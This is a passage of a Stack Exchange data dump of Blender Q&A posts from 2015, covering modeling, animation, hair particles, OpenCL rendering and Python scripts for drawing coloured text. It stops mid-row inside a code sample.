  <row Id="31771" PostTypeId="2" ParentId="31769" CreationDate="2015-05-31T16:45:57.530" Score="45" Body="&lt;p&gt;You can do this by selecting the object that you want to apply the scale to,  press &lt;kbd&gt; Ctrl &lt;/kbd&gt; + &lt;kbd&gt; A &lt;/kbd&gt; and select &lt;strong&gt;Scale&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ygAXv.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastActivityDate="2015-05-31T16:45:57.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31772" PostTypeId="2" ParentId="31769" CreationDate="2015-05-31T16:46:28.997" Score="7" Body="&lt;ul&gt;&#xA;&lt;li&gt;Apply Scale &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt; You will see a menu&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JC3Ux.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorDisplayName="user1853" LastEditDate="2015-05-31T16:50:30.980" LastActivityDate="2015-05-31T16:50:30.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31773" PostTypeId="2" ParentId="31763" CreationDate="2015-05-31T16:47:37.377" Score="7" Body="&lt;p&gt;The closet tool I can think of is &lt;strong&gt;Checker Diselect&lt;/strong&gt;.&#xA;Select all of the faces/edges/verices you want to affect and go to select-&gt;Checker Diselect  (or press the space bar and type &lt;em&gt;checker&lt;/em&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To further refine your selection activate the tools options by pressing &lt;kbd&gt;F6&lt;/kbd&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MSUjq.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-05-31T17:11:12.360" LastActivityDate="2015-05-31T17:11:12.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31775" PostTypeId="2" ParentId="31770" CreationDate="2015-05-31T16:56:33.193" Score="8" Body="&lt;p&gt;yeah, you have to draw by setting a &lt;code&gt;bgl.color**&lt;/code&gt; before each new differently coloured text. It's not like a terminal print command, though you could write really simple functions that take &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(x, y, [(str, col),...])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because you can query the x,y dimensions of a string, you can easily generate the offset coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def draw_string(x, y, packed_strings):&#xA;    font_id = 0&#xA;    blf.size(font_id, 18, 72) &#xA;    x_offset = 0&#xA;    for pstr, pcol in packed_strings:&#xA;        bgl.glColor4f(*pcol)&#xA;        text_width, text_height = blf.dimensions(font_id, pstr)&#xA;        blf.position(font_id, (x + x_offset), y, 0)&#xA;        blf.draw(font_id, pstr)&#xA;        x_offset += text_width&#xA;&#xA;x = 60&#xA;y = 100&#xA;RED = (1, 0, 0, 1)&#xA;GREEN = (0, 1, 0, 1)&#xA;BLUE = (0, 0, 1, 1)&#xA;ps = [(&quot;Blue &quot;, RED),(&quot;Yellow &quot;, BLUE),(&quot;White &quot;, GREEN)]&#xA;draw_string(x, y, ps)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gIu0X.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-31T17:37:52.950" LastActivityDate="2015-05-31T17:37:52.950" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31776" PostTypeId="1" AcceptedAnswerId="31777" CreationDate="2015-05-31T17:14:15.547" Score="2" ViewCount="296" Body="&lt;p&gt;I have a group of objects (toys) that should run trough a cone then along a curved pipe then falling out, down  to a production line and going along that line. The objects are one after the other so the second object enters the path when the first item has done a short distance so the items should work like 'one object' but each one should follow the path. I have tried parenting them and also tried joining them into one object, So whats the best solution for that sort of animation?&lt;img src=&quot;https://i.stack.imgur.com/x5T84.png&quot; alt=&quot;Here is a picture for easier understanding. The items are positioned here so it should look when all items have already entered the path&quot;&gt;  &lt;/p&gt;&#xA;" OwnerUserId="13006" LastActivityDate="2015-05-31T19:32:34.373" Title="A snakelike group of Objects running on the same path" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31777" PostTypeId="2" ParentId="31776" CreationDate="2015-05-31T17:20:17.840" Score="0" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;In the not so extreme case you might consider an armature with a one to one correspondence between and object and a particular bone. Spline constraint.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the not so extreme case you might consider physics in the comment above.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider a [Follow Path Constraint] and .  Enable [x] Fixed position of the constraint.  Keyframe Offset.  (You have done that already)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In the [follow path constraint] case ...place keyframes on each object in the constraint in staggered (shifted) time form.  The [Follow Path Constraint] can be used with no deformation of the object. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Consider adjusting the off curve control points of your keyframes in the graph editor for more control.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The image below shows 3 object with a follow path constraint to the same path.  The dope sheet shows the staggered keyframes.  This is a slightly simplified view. You many not want the speed up and slow down associated with Bezier curves.  And the objects may have different starting and ending keyframe values when spacing is a requirement.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ruZ9g.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Read this bullet at your own risk.  By staggering form I mean the following.  Object[N] (where N is in the set of numbers (1 ..K)), Q is another convenient static positive integer for pausing, may have keys on frames [math formula ((N-1)*Q) and (N * Q)] approximately.  The keyframe values would be [0.0] and [1.0]. Yes that paragraph is not easy to read.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you have a few objects to place, (&amp;lt;20 perhaps), the above can be done by hand.  If you have more than that a Script might be worth the cost.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once those keyframes are placed and correct they may look like bumps and inclines ... just translated in the positive x direction in the graphs editor.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mW5wC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-31T19:32:34.373" LastActivityDate="2015-05-31T19:32:34.373" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31778" PostTypeId="1" CreationDate="2015-05-31T19:22:02.073" Score="2" ViewCount="1710" Body="&lt;p&gt;I'm trying to give my model a buzzcut. I went through all the proper steps that I know of. Creating a vertex group, all these things with the particle system and everything, but when I go to change the color of the model's hair (black), it turns the entire model that color and I can't figure out why. Additionally, when I render the model, the hair does not appear. I've been stuck on this for three days now. Thanks :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add: This picture is what I am now faced with. Changed the color of the scalp and not the hair.&lt;img src=&quot;https://i.stack.imgur.com/9md4O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14724" LastEditorUserId="14724" LastEditDate="2015-06-01T00:14:05.043" LastActivityDate="2015-06-01T06:52:06.027" Title="I can't get the hair on my model to render, or even apply color. (Buzzcut)" Tags="&lt;particles&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31780" PostTypeId="1" AcceptedAnswerId="31799" CreationDate="2015-05-31T19:57:27.900" Score="2" ViewCount="1012" Body="&lt;p&gt;Further my previuos question, i'd like to know how i cant draw multi line with an array fonction on the Y axis always there concervant the different colors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for exemple, i'd like draw:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Ngons: 5&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Tris: 60&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ngons and Tris are the label and have to be in red&lt;/p&gt;&#xA;&#xA;&lt;p&gt;5 and 60 are the value and have to be in blue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can i do that please ?&lt;/p&gt;&#xA;" OwnerUserId="11582" LastEditorUserId="47" LastEditDate="2015-06-01T07:19:48.843" LastActivityDate="2020-08-19T18:54:34.433" Title="Multi-line Text in blf (with multi colour option)" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31783" PostTypeId="1" CreationDate="2015-05-31T20:41:21.153" Score="5" ViewCount="187" Body="&lt;p&gt;This has happened before, but I can't figure out how to fix it. Where are the options for the UV layout export that are usually on the left side of the screen?&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/a2iWn.png&quot; alt=&quot;Missing UV Export Options&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14727" LastEditorUserId="1448" LastEditDate="2015-05-31T23:44:09.267" LastActivityDate="2015-05-31T23:44:09.267" Title="Options Missing from File browser" Tags="&lt;uv&gt;&lt;interface&gt;&lt;file-browser&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31784" PostTypeId="2" ParentId="31778" CreationDate="2015-05-31T20:41:57.147" Score="2" Body="&lt;p&gt;A few possibilities are (assuming using cycles):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;For the mesh, you should make two materials; the first material is for the mesh itself, the second material is used to select it from the 'particle systems' to use for the hair material. To change the hair material, you should only modify the second material, since the first material is used for the mesh (for example face color). In image, the first material, light colored is used for the mesh and second material, dark colored is used for the hair and is also selected in the particle systems.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/a44U7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;li&gt;When you are in particle edit mode, then you don't see the hair when you render it or use rendered shading. You should see the hair, when you are in vertex paint mode, edit mode, object mode, sculpt mode, weight paint mode or texture mode.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But I am not sure if this is what you mean :)&lt;/p&gt;&#xA;" OwnerUserId="14206" LastEditorUserId="14206" LastEditDate="2015-06-01T06:52:06.027" LastActivityDate="2015-06-01T06:52:06.027" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31785" PostTypeId="1" AcceptedAnswerId="31798" CreationDate="2015-05-31T20:57:29.300" Score="4" ViewCount="94" Body="&lt;p&gt;The curves look fine in wireframe, but in solid part of the &quot;S&quot; and about 1/4 of the bottom of the rounded square is missing (the first picture is wireframe and the second is solid).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UoKjM.png&quot; alt=&quot;wireframe&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3cOoq.png&quot; alt=&quot;solid&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14421" LastActivityDate="2015-06-01T06:09:11.763" Title="Why won't logo display properly in solid mode?" Tags="&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31786" PostTypeId="1" AcceptedAnswerId="31793" CreationDate="2015-05-31T21:16:46.090" Score="8" ViewCount="311" Body="&lt;p&gt;A shape created using the ant-landscape plugin looks like this: (selection is another sphere):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xsP7v.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to incorporate the &lt;em&gt;Boolean Modifier&lt;/em&gt; but found no solution.&#xA;How could the highlighted areas be selected?&#xA;I also tried to select the hilly areas with &lt;em&gt;Select/Sharp Edges&lt;/em&gt; but this would switch to vertex selection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2q5zP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2015-06-01T18:37:40.513" Title="Can faces of one object be selected by the shape of another object?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31788" PostTypeId="2" ParentId="31783" CreationDate="2015-05-31T21:55:34.783" Score="3" Body="&lt;p&gt;To show or hide Options tab in export window use &lt;kbd&gt;T&lt;/kbd&gt; button while mouse cursor located inside the window. Alternatively you can click &lt;kbd&gt;+&lt;/kbd&gt; icon that was added in blender version 2.74 next to the File Path input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JC6ce.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-05-31T21:55:34.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31789" PostTypeId="1" CreationDate="2015-06-01T00:57:35.657" Score="2" ViewCount="67" Body="&lt;p&gt;This code currently allows for buildings to be placed on flat surfaces (using an object as the Collision Detector).  It works fine for that, but how could I make it so that it can only be placed on one object like the plane (the ground of the map).  The reason for this is that right now you can place buildings on top of other buildings.  My map is flat so does not have any bumps or hills so I don't really need it nor want it to be placed on any flat surface.  Thanks!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import logic&#xA;&#xA;def main():&#xA;scene = logic.getCurrentScene()&#xA;cont = logic.getCurrentController()&#xA;&#xA;mouse_over = cont.sensors[&quot;MouseOver&quot;]&#xA;&#xA;if mouse_over.positive and scene.objects[&quot;Arrow&quot;]['ActiveYesNo?'] :&#xA;tracker = scene.objects[&quot;Arrow&quot;]&#xA;tracker.worldPosition = mouse_over.hitPosition&#xA;tracker.worldPosition.z += 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14475" LastActivityDate="2015-06-01T00:57:35.657" Title="How could I modify this Building Placement Code for an RTS (BGE)" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="0" CommentCount="7" FavoriteCount="1" ClosedDate="2015-06-01T11:17:31.187" ContentLicense="CC BY-SA 3.0" />
  <row Id="31790" PostTypeId="1" CreationDate="2015-06-01T01:35:53.770" Score="4" ViewCount="30840" Body="&lt;p&gt;I am an absolute beginner with Blender, and to 3D modeling in general.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am taking a tutorial and my extruded plane with a skin modifier applied is comprised of basically 11 quads, the tutorial I am watching has 32 quads (if I am correct in assuming that each &quot;side&quot; is a quad).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to increase and decrease the number of quads that an extruded plane with a skin modifier would have?&lt;/p&gt;&#xA;" OwnerUserId="14731" LastEditorUserId="55" LastEditDate="2015-11-23T02:19:17.610" LastActivityDate="2015-11-23T02:19:17.610" Title="How to increase the number of faces in a model" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31791" PostTypeId="1" AcceptedAnswerId="31815" CreationDate="2015-06-01T02:52:26.927" Score="1" ViewCount="553" Body="&lt;p&gt;EDIT: Unsure how I solved it. Someone commented the corrected file, but idk how they did it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently creating a face rig, and I'm at the modeling point of the process. I have all of the modeling finished except for one part that I want, but do not know how to do.&#xA;Here's what the face looks like (for reference):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uYhcx.png&quot; alt=&quot;Reference&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, everything is looking quite smooth. What I want to do is have the corners of the mouth beveled so that it isn't a rectangle mouth, but a roundish rectangle. What I want is red, what I have is black:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3KGtD.png&quot; alt=&quot;What I want vs. What I have&quot;&gt;&#xA;In edit mode I discovered that the edges of the mouth are glitched out. When I try to subdivide the faces, it isn't divided into fourths, but vertices are added at the edges instead, which is not what I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I need bevels or subdivisions to do this, but the faces are just too glitchy. Can someone give me an alternative approach? If you can teach me how to do it with mean crease, here's a picture of what edit mode looks like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/waOnU.png&quot; alt=&quot;Mouth edge&quot;&gt;&#xA;Mouth edge, same on other side&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for reading, I hope you can help! :]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here's what I was looking for. It's solved:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Wmb7O.png&quot; alt=&quot;Beveled mouth&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[UPDATE] Here's the file: &lt;a href=&quot;http://www.pasteall.org/blend/36339&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/36339&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user8158" LastEditorUserId="47" LastEditDate="2015-06-01T17:31:05.540" LastActivityDate="2015-06-01T20:09:26.623" Title="How do I get bevelled edges from the inside of a mouth?" Tags="&lt;modeling&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="31793" PostTypeId="2" ParentId="31786" CreationDate="2015-06-01T04:03:42.000" Score="4" Body="&lt;p&gt;&lt;strong&gt;1. Using Vertex Groups with Data Transfer modifier&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assign all the vertices of the sphere to &lt;strong&gt;Vertex Group&lt;/strong&gt; with value of 1 and scale the sphere to very small size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a vertex group and add DataTransfer modifier to the landscape object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the modifier select the sphere as &lt;strong&gt;Source Object&lt;/strong&gt;, enable &lt;strong&gt;Vertex Data&lt;/strong&gt; using &lt;strong&gt;Vertex Group(s)&lt;/strong&gt; and set &lt;strong&gt;Vertex Mapping&lt;/strong&gt; to &lt;strong&gt;Projected Face Interpolated.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CIkfU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Using Vertex Groups with VertexWeightMix modifier and spherical blend texture.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a Vertex Group with a value of 1 on all vertices of the landscape object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then add VertexWeightMix modifier, in the modifier select created vertex group in &lt;strong&gt;Vertex Groups A and B&lt;/strong&gt;, set &lt;strong&gt;Mix Mode&lt;/strong&gt; to &lt;strong&gt;Difference&lt;/strong&gt; and create a new Texture Mask with Use Channel set to &lt;strong&gt;Value&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then open texture settings, change Type to &lt;strong&gt;Blend&lt;/strong&gt;, in Colors enable Ramp, set interpolation between color stops to &lt;strong&gt;Constant&lt;/strong&gt; and Blend Progression change to &lt;strong&gt;Spherical&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change to Weight Paint mode and adjust the texture color ramp till you get desired result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7cgS0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VaDBv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Weight Paint mode with Transferring Weights to active object.&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;May not be as precise as previous methods but quicker to setup.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assign all the vertices of the sphere to Vertex Group with value of 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in object mode select the sphere and holding &lt;kbd&gt;Shift&lt;/kbd&gt; button select landscape object and switch to Weight Paint mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While in Weight Paint mode create a Vertex Group and in Tools tab click &lt;strong&gt;Transfer Weights&lt;/strong&gt; button, then in Operator panel change Data Type to &lt;strong&gt;Vertex Group(s)&lt;/strong&gt; and Vertex Mapping to &lt;strong&gt;Projected Face Interpolated&lt;/strong&gt; and adjust Max Distance to get desired result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mvIn3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-06-01T18:37:40.513" LastActivityDate="2015-06-01T18:37:40.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31795" PostTypeId="1" AcceptedAnswerId="31796" CreationDate="2015-06-01T04:38:21.037" Score="4" ViewCount="2152" Body="&lt;p&gt;I have an AMD Radeon R7 M265, and when I force OPENCL with the batch file it only shows Iceland, Intel HD and the CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I followed this instructions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;kbd&gt;&lt;img src=&quot;https://i.imgur.com/AAjIi.png&quot; alt=&quot;Windows key&quot; title=&quot;Windows key&quot;&gt;&lt;/kbd&gt;&lt;kbd&gt;R&lt;/kbd&gt;, type &lt;code&gt;CMD&lt;/code&gt;, press &lt;kbd&gt;&amp;#9166; Enter&lt;/kbd&gt;, go to your blender folder. ex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd C:\Program Files\Blender Foundation\Blender&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;&amp;#9166; Enter&lt;/kbd&gt; and then type: set &lt;code&gt;CYCLES_OPENCL_TEST=all&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Start Blender with &lt;code&gt;blender.exe&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Inside blender go to &lt;em&gt;File -&gt; User preferences -&gt; System&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Under compute device select &lt;em&gt;OpenCL&lt;/em&gt; and then your card&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Close the preferences and go to the render panel and select&#xA;device: &lt;em&gt;GPU Compute&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the latest beta driver from AMD, but when I try to change the compute device it only shows this list:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/ejKSJ1S.jpg&quot; alt=&quot;list&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Am I doing something wrong? Is my GPU is not supported? Or is it because it's in development and not every card is supported yet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried blender v2.74.5, v2.62, and v2.63. Every one gives the same list.&lt;/p&gt;&#xA;" OwnerUserId="13322" LastEditorUserId="599" LastEditDate="2015-06-29T19:36:04.530" LastActivityDate="2017-06-06T13:58:41.913" Title="Compute device list not showing card name when using OpenCL" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;gpu&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31796" PostTypeId="2" ParentId="31795" CreationDate="2015-06-01T05:14:04.047" Score="4" Body="&lt;p&gt;AMD GPUs appear in blender by the codename of the GPU&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Iceland is the name of the processor inside your AMD card. Apparently they name &#xA;their cards with the names of volcanic islands for that series of cards... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Choose that one and good luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AMD cards have a long list of problems with cycles. Some of the limitations for OpenCL rendering are listed on the blender manual: &lt;a href=&quot;https://docs.blender.org/manual/en/dev/render/cycles/features.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.blender.org/manual/en/dev/render/cycles/features.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an alternative, you might want to try other render engines, as detailed on this link: &lt;a href=&quot;https://blender.stackexchange.com/questions/75377/alternative-render-engines-can-i-use-instead-of-cycles-for-amd-radeon-gpus/75403#75403&quot;&gt;Alternative Render engines can I use instead of Cycles for AMD Radeon GPUs?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2017-06-06T13:58:41.913" LastActivityDate="2017-06-06T13:58:41.913" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31797" PostTypeId="1" CreationDate="2015-06-01T06:00:16.403" Score="0" ViewCount="524" Body="&lt;p&gt;I'd like to be able to run a a test on a grouping of selected vertices in a mesh. The function would return a boolean result based on whether all the vertices in the grouping are connected in a linear fashion, thereby forming an edge loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To the best of my knowledge, there is no IsEdgeLoop operator in the API at this time. Bmesh seems to have some better mesh tools, but I don't see a solution as of yet. I'm thinking some clever algorithm to traverse an array of vertex indices is required, but could use some input from others.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-06-02T16:58:46.173" Title="Given a grouping of selected vertices in a mesh, how do I test if they form a contiguous edge loop?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31798" PostTypeId="2" ParentId="31785" CreationDate="2015-06-01T06:09:11.763" Score="4" Body="&lt;p&gt;The most likely cause is &lt;em&gt;Self Intersecting&lt;/em&gt; segments. The same happens if you have a text object and extrude it to the point where Curves intersect other curves:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From: &lt;a href=&quot;https://blender.stackexchange.com/questions/2720/text-objects-are-messed-up-when-using-offset/2727#2727&quot;&gt;text-objects-are-messed-up-when-using-offset/2727#2727&lt;/a&gt;  (Different question, same answer and reason)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oGgPE.gif&quot; alt=&quot;image or self intersection&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2015-06-01T06:09:11.763" CommentCount="0" CommunityOwnedDate="2015-06-01T06:09:11.763" ContentLicense="CC BY-SA 3.0" />
  <row Id="31799" PostTypeId="2" ParentId="31780" CreationDate="2015-06-01T06:47:18.627" Score="4" Body="&lt;p&gt;Building on the previous answer, now you have to think about line-height. A reasonable line-height for typesetting is the &lt;code&gt;height of capital M&lt;/code&gt; x &lt;code&gt;1.45&lt;/code&gt;. But the coefficient can range between &lt;em&gt;1.2&lt;/em&gt; and &lt;em&gt;1.45&lt;/em&gt; (See the wikipedia article on &lt;a href=&quot;http://en.wikipedia.org/wiki/Leading&quot; rel=&quot;nofollow noreferrer&quot;&gt;Leading&lt;/a&gt;. These values are suggestions, and for HUD text or UI information use the value that seems most pleasing and doesn't cause the text to be too close or too separated vertically.&lt;/p&gt;&#xA;&lt;p&gt;Take for instance the default line-height of Blender fonts.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y1vDQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;1 / 0.682 = 1.46    # it's only a suggestion anyway.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;A multi-line version of &lt;a href=&quot;https://blender.stackexchange.com/questions/31770/draw-text-with-2-colors-in-viewport/31775#31775&quot;&gt;the script from the previous question&lt;/a&gt;, might look something like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;def draw_string(x, y, packed_strings):&#xA;    font_id = 0&#xA;    blf.size(font_id, 18, 72) &#xA;    x_offset = 0&#xA;    y_offset = 0&#xA;    line_height = (blf.dimensions(font_id, 